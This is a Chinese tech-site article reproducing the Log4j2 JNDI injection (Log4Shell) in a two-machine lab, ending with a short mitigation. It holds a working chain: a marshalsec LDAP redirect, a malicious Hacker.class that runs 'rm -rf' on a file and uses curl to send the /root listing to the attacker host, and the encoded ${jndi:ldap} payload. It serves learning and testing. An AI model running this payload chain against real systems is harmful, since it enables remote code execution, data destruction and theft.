您当前的位置:首页 > 电脑百科 > 安全防护 > 漏洞

关于log4j2远程代码执行漏洞详细复现过程

时间:2022-09-04 14:49:53  来源:  作者:互联网资讯看板

log4j-2远程代码执行漏洞是因为log4j的版本中存在jndi(JAVA Naming and Directory Interface)注入漏洞,jndi注入是利用的动态类加载机制完成攻击的,当程序将用户输入的数据进行日志记录时,即可触发此漏洞。注意是log4j-2.x的版本,本文演示使用2.14.1。

如果在应用中使用了如log.info等一些输出用户录入的内容就可能遭到攻击者的攻击,这种将请求日志log出来的场景并不少见,比如和一些第三方系统对接的时候,在联调或试运行阶段会将请求的报文信息完整输出到日志。

摘取一个gitee上的代码样例


 

 

  • 漏洞场景

 

举个例子,jianshu-Application这个服务用来提供给用户修改个人简介的,如图


 

 

  • 漏洞重现案例的几个角色

 

角色

应用名

说明

被攻击者

jianshu-application

这个是被攻击的服务器(使用了log4j-core-2.14.1),
假设提供了个人简介的修改功能

攻击者

marshalsec-0.0.3-SNAPSHOT

开源纯Java写的一个工具,将数据转换为代码执行

攻击者

Python/ target=_blank class=infotextkey>Python-httpserver

简单模拟一个httpserver用来给被攻击者远程加载恶意class


 

大致流程如下 ①、攻击者输入恶意信息后提交,${jndi:ldap://ldap.mixfate.com:9999},当然这个ldap地址被攻击者服务器中的应用可以访问到; ②、被攻击者应用通过log.info打印恶意的输入信息后,发现日志内容中包含关键词 ${,那么这个里面包含的内容会当做变量来进行替换执行,连接到marshalsec ldap.mixfate.com:9999; ③、此时marshalsec将重定向到httpserver load.mixfate.com:8888; ④、重定向到class下载地址下载并加载Hacker.class; ⑤、执行Hacker.class中的恶意代码;

可以看到依赖重要的开源工具marshalsec,https://github.com/mbechler/marshalsec.git

免责声明(仅用于学习或测试自有系统)

Disclaimer All information and code is provided solely for educational purposes and/or testing your own systems for these vulnerabilities. 2、漏洞重现步骤

现在我们模拟一下这个jianshu-application这个应用被攻击,并被删除掉服务器上的/root/readme.txt文件;

机器名

说明

ip

机器A(jianshu)

被攻击者

192.168.80.136

机器B(hacker)

攻击者

192.168.80.133

两台机器均安装上jdk-1.8.0_151

java version "1.8.0_151" Java(TM) SE Runtime Environment (build 1.8.0_151-b12) Java HotSpot(TM) 64-Bit Server VM (build 25.151-b12, mixed mode)

  • 步骤1、机器A(jianshu)上运行被攻击端jianshu应用(简化代码仅作重现参考)

 

简单起见直接使用 spring-boot启动一个web应用,开放一个入口模拟修改个人简介,由于spring-boot默认使用 logback 作为应用日志框架,所以为了模拟攻击过程将依赖排除掉,使用log4j-2.14.1版本记录日志。

jianshu模拟应用配置如下(使用spring-boot-2.5.7,特别注意需要排除默认使用的日志,不然无法模拟)

 

pom.xml
4.0.0 org.springframework.boot spring-boot-starter-parent 2.5.7 com.mixfate jianshu 0.0.1-SNAPSHOT jianshu jianshu project for Spring Boot 1.8 org.springframework.boot spring-boot-starter-web org.springframework.boot spring-boot-starter-logging org.springframework.boot spring-boot-starter-test test org.Apache.logging.log4j log4j-core 2.14.1 org.springframework.boot spring-boot-maven-plugin
JianshuAplication.java
package com.mixfate; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.web.bind.annotation.PutMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; @RestController @RequestMapping @SpringBootApplication public class JianshuApplication { public static final Logger logger = LogManager.getLogger(); public static void main(String[] args) { SpringApplication.run(JianshuApplication.class, args); } @PutMapping("/settings") public void settings(String intro) { logger.info("{}", intro); } }

 

模拟的修改个人简介功能非常简单,一个put请求将intro参数提交即可,注意通过url传参数的话需要使用urlencode后传输,使用mvn clean package 打包好应用上传,并直接在机器A(jianshu)的服务器部署运行即可java -jar jianshu-0.0.1-SNAPSHOT.jar,作为被攻击的机器就已经准备好了,可通过curl -X PUT http://192.168.80.136:8080/settings?intro=hacker-ha-ha-ha访问测试。

此时在机器A(jianshu),ip192.168.80.136上的准备工作就完成了。

 

  • 步骤2、机器B(hacker)上运行marshalsec/httpserver

 

① 下装并编译运行marshalsec工具,这是一个纯java写的将数据转换为可执行代码工具,github地址https://github.com/mbechler/marshalsec.git,直接使用maven编译源码mvn clean package -DskipTests,将编译后的应用包marshalsec-0.0.3-SNAPSHOT-all.jar上传到机器B(hacker)上运行java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.80.133:8888/#Hacker" 9999。

这一步的目的是在Hacker机器B上开启ldap服务,机器A中的应用参数intro如果定义为${jndi:ldap://192.168.80.133:9999/Hacker} ,则可访问到这个ldap服务,而参数"http://192.168.80.133:8888/#Hacker表示将请求重定向到此地址远程加载类Hacker,当然实际上ldap和放Hacker.class的httpserver服务器不需要放同一台机器。

② 编写Hacker类如下

import java.io.File; import java.util.Arrays; import java.util.stream.Collectors; class Hacker { static { System.err.println("Hacker hahaha"); try { Runtime.getRuntime().exec("rm -rf /root/readme.txt"); File dir = new File("/root"); Runtime.getRuntime().exec("curl http://192.168.80.133:8888/" + Arrays.stream(dir.listFiles()).map(File::getName).collect(Collectors.joining(","))); } catch (Exception e) { e.printStackTrace(); } } }

这个Hacker恶意代码把机器A上的文件/root/readme.txt删除了,并且将/root目录下的文件文件名发送到攻击者的机器上。编译好Hacker.class放到一个新建的目录/www中。

③ 机器B新开一个命令窗口,进入到/www目录中,使用命令python -m SimpleHTTPServer 8888启动一个简单的httpserver,启动后使用浏览器访问http://192.168.80.133:8888/Hacker.class正常会提示下载类文件,保证jianshu服务器能从这个地址下载类即可。

参数${jndi:ldap://192.168.80.133:9999/Hacker}通过urlencode后为%24%7Bjndi%3Aldap%3A%2F%2F192.168.80.133%3A9999%2FHacker%7D 访问修改个人简介进行攻击 curl -X PUT http://192.168.80.136:8080/settings?intro=%24%7Bjndi%3Aldap%3A%2F%2F192.168.80.133%3A9999%2FHacker%7D

此时python的httpserver日志可以看到以下输出

"GET /.bash_logout,.bash_profile,.bashrc,.cshrc,.tcshrc,anaconda-ks.cfg,.bash_history,jdk-8u151-linux-x64.tar.gz,jdk1.8.0_151,.oracle_jre_usage,jianshu-0.0.1-SNAPSHOT.jar HTTP/1.1" 404 -

Hacker机器上列出了jianshu机器/root目录下的文件,说明已经成功了。

3、漏洞修复

具体的漏洞修复建议可参考一些官方的推荐做法,一种临时的改动是设置JVM启动参数-Dlog4j2.formatMsgNoLookups=true,此参数判断是否执行lookups。

打开MessagePatternConverter的源码查看


 

在构造方法中初始化了参数noLookups


 

在常量中定义了默认值



Tags:log4j2   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
log4j-2远程代码执行漏洞是因为log4j的版本中存在jndi(java Naming and Directory Interface)注入漏洞,jndi注入是利用的动态类加载机制完成攻击的,当程序将用户输入的数据进...【详细内容】
2022-09-04  Tags: log4j2  点击:(101)  评论:(0)  加入收藏
简介2021年底,技术圈被 log4j2 漏洞掀起巨浪,各大安全公司纷纷发文介绍该漏洞的危害,并给出了各种临时解决方案。还有一些博主也发表文章教我们如何找到易受攻击的地方,并采取相...【详细内容】
2022-08-17  Tags: log4j2  点击:(77)  评论:(0)  加入收藏
远程代码漏洞对广大程序员来并不陌生,远程代码执行是指攻击者可能会通过远程调用的方式来攻击或控制计算机设备,无论该设备在哪里。如果远程代码执行的是一个死循环那服务器...【详细内容】
2021-12-31  Tags: log4j2  点击:(165)  评论:(0)  加入收藏
1、Log4j2优点具体优点可以参考官方文档:https://logging.apache.org/log4j/2.x/我这边只简单说一下:相比与其他的日志系统,log4j2丢数据的情况少;在多线程环境下,性能高于logbac...【详细内容】
2019-12-17  Tags: log4j2  点击:(222)  评论:(0)  加入收藏
▌简易百科推荐
Python 编程语言中一个被忽视了 15 年的漏洞,正在重新引发人们的关注,因为它可能对超过 35 万个开源存储库项目造成影响。其实早在 2007 年,就已经有安全研究人员披露并标记过...【详细内容】
2022-09-22  cnBeta.COM     Tags:Python漏洞   点击:(43)  评论:(0)  加入收藏
安全分析与研究专注于全球恶意软件的分析与研究前言近日,国外某人在社交媒体论坛上宣称,自己的团队入侵了LockBit勒索病毒的服务器,并找到了LockBit Black(3.0)勒索病毒的生成...【详细内容】
2022-09-21  安全分析与研究   企鹅号  Tags:LockBit   点击:(35)  评论:(0)  加入收藏
nessus号称是漏洞评估领域的全球黄金标准、世界上最流行的漏洞扫描程序,广受 30000 家企业的信赖,全球下载量达 2 百万。Nessus不同于传统的漏洞扫描软件,它的每个功能的设计都...【详细内容】
2022-09-20  程序猿研究中心  今日头条  Tags:Nessus   点击:(69)  评论:(0)  加入收藏
IT之家 9 月 7 日消息,谷歌于 9 月 2 日发布了其 Chrome 浏览器的更新,其中包含针对 Mac 和 Windows 版漏洞的修复。Chrome 浏览器 105.0.5195.102 版本更新已推出,修复了一个...【详细内容】
2022-09-07    IT之家  Tags:0 day 漏洞   点击:(57)  评论:(0)  加入收藏
log4j-2远程代码执行漏洞是因为log4j的版本中存在jndi(java Naming and Directory Interface)注入漏洞,jndi注入是利用的动态类加载机制完成攻击的,当程序将用户输入的数据进...【详细内容】
2022-09-04  互联网资讯看板     Tags:log4j2   点击:(101)  评论:(0)  加入收藏
【摘要】 漏洞靶场,不仅可以帮助我们锻炼渗透测试能力、可以帮助我们分析漏洞形成机理、更可以学习如何修复提高代码能力,同时也可以帮助我们检测各种各样漏洞扫描器的效果。W...【详细内容】
2022-09-01  爱生活的VVGktA    Tags:Web漏洞   点击:(65)  评论:(0)  加入收藏
CVE-2022-22965A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific explo...【详细内容】
2022-08-31  BYsususu    Tags:漏洞   点击:(74)  评论:(0)  加入收藏
安全研究人员发现有超过8万台海康威视摄像头受到CVE-2021-36260漏洞的影响。CVE-2021-36260漏洞是一个命令注入漏洞,攻击者利用该漏洞可以发送伪造的消息给有漏洞的web服务器...【详细内容】
2022-08-26  嘶吼RoarTalk  网易  Tags:漏洞   点击:(210)  评论:(0)  加入收藏
一、前言1.1 下载地址二、CVE-2017-175622.1 漏洞分析cve-2017-17562远程命令执行漏洞影响Goahead 2.5.0到Goahead 3.6.5之间的版本。在cgiHandler函数中,将用户的HTTP请求参...【详细内容】
2022-08-26  iHacking    Tags:漏洞   点击:(60)  评论:(0)  加入收藏
什么是0day漏洞? 0day漏洞,是指已经被发现,但是还未被公开,同时官方还没有相关补丁的漏洞;通俗的讲,就是除了黑客,没人知道他的存在,其往往具有很大的突发性、破坏性、致命性。0day...【详细内容】
2022-08-25  中科三方  搜狐号  Tags:0day漏洞   点击:(93)  评论:(0)  加入收藏
站内最新
站内热门
站内头条